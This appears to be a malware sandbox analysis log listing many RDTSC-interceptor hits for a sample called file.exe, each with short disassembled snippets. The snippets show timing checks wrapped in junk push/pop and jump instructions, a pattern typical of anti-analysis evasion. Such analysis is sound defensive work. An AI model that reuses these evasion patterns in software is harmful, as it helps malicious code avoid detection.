Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B99A second address: F6B9A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F6BBC840546h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B9A6 second address: F6B9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BDB6 second address: F6BDBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70886 second address: F708A5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6BBC80E216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6BBC80E221h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F708A5 second address: F708A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F702 second address: F6F708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B5BA second address: F3B5C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B5C0 second address: F3B5C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B5C4 second address: F3B5D2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B5D2 second address: F3B5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B5D6 second address: F3B5E3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6BBC840546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B964 second address: F3B969 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BB72 second address: F3BB76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BB76 second address: F3BB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BB7C second address: F3BB81 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BCB5 second address: F3BCD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E21Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F6BBC80E218h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BCD2 second address: F3BD06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC84054Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a call 00007F6BBC840557h 0x0000000f mov edx, dword ptr [ebp+122D2E8Ah] 0x00000015 pop ecx 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BDB5 second address: F3BDB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BDB9 second address: F3BDC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BDC7 second address: F3BDD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC80E21Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BDD8 second address: F3BDF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d jmp 00007F6BBC84054Eh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BDF6 second address: F3BE09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6BBC80E216h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BE09 second address: F3BE0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BE0F second address: F3BE14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BE14 second address: F3BE1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F6BBC840546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25CD8 second address: F25CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25CDE second address: F25CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25CE7 second address: F25CEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F9BC second address: F6F9C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FC54 second address: F6FC7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E21Dh 0x00000007 jo 00007F6BBC80E216h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F6BBC80E223h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FC7E second address: F6FC97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC840555h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FE2A second address: F6FE2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FE2E second address: F6FE51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F6BBC84055Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FE51 second address: F6FE66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC80E21Fh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70131 second address: F70142 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6BBC84054Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70295 second address: F7029C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7029C second address: F702A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F702A2 second address: F702A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F702A9 second address: F702AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F702AF second address: F702B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7041F second address: F70425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70425 second address: F70445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F6BBC80E226h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70445 second address: F70449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F736CD second address: F736DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jng 00007F6BBC80E21Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C303 second address: F7C309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C309 second address: F7C317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007F6BBC80E216h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C317 second address: F7C31C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C31C second address: F7C32D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6BBC80E21Ah 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C63F second address: F7C657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F6BBC84054Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C657 second address: F7C65D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C65D second address: F7C663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7BFA8 second address: F7BFBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F6BBC80E21Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7BFBA second address: F7BFD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC840554h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7BFD2 second address: F7BFE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E21Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CCF3 second address: F7CCF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CFA0 second address: F7CFA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CFA6 second address: F7CFC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F6BBC840559h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CFC8 second address: F7CFCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CFCC second address: F7CFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6BBC840546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CFDC second address: F7CFEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BBC80E21Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82E22 second address: F82E2C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6BBC840546h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82E2C second address: F82E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82E35 second address: F82E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6BBC84054Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82E4C second address: F82E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82FA5 second address: F82FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82FA9 second address: F82FEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6BBC80E223h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F6BBC80E21Bh 0x00000011 jmp 00007F6BBC80E229h 0x00000016 jns 00007F6BBC80E216h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F833EA second address: F83421 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840550h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e je 00007F6BBC840546h 0x00000014 popad 0x00000015 jmp 00007F6BBC84054Dh 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e jp 00007F6BBC840546h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B262 second address: F8B284 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6BBC80E216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F6BBC80E225h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EEE7 second address: F8EEEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EEEF second address: F8EF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F6BBC80E21Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E788 second address: F8E78D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E8F1 second address: F8E8F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E8F5 second address: F8E913 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840558h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EBC2 second address: F8EBC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EBC6 second address: F8EBD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EBD0 second address: F8EBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F924E0 second address: F924EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F6BBC840546h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F924EB second address: F9250E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6BBC80E216h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6BBC80E220h 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9250E second address: F9251A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6BBC840546h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9267C second address: F92695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC80E225h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92BE7 second address: F92BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92BED second address: F92C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F6BBC80E222h 0x0000000b jmp 00007F6BBC80E227h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6BBC80E228h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92C39 second address: F92C50 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6BBC840546h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d jnp 00007F6BBC84056Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92C50 second address: F92C56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98699 second address: F986BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F6BBC840546h 0x0000000d jmp 00007F6BBC840555h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F986BB second address: F986C1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98AF9 second address: F98B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98B03 second address: F98B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98B0E second address: F98B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98B14 second address: F98B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C2A0 second address: F3C2CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F6BBC840558h 0x0000000c popad 0x0000000d push eax 0x0000000e jns 00007F6BBC840554h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C2CB second address: F3C2CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C2CF second address: F3C2E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000004h 0x00000009 sub ecx, 38E7CD82h 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C2E4 second address: F3C2EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98FB5 second address: F98FB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B473 second address: F9B483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F6BBC80E216h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3D21 second address: FA3D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2086 second address: FA208A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA208A second address: FA2090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2090 second address: FA2095 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2943 second address: FA2950 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6BBC840546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2950 second address: FA2959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2959 second address: FA295F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2BF8 second address: FA2BFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2BFD second address: FA2C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
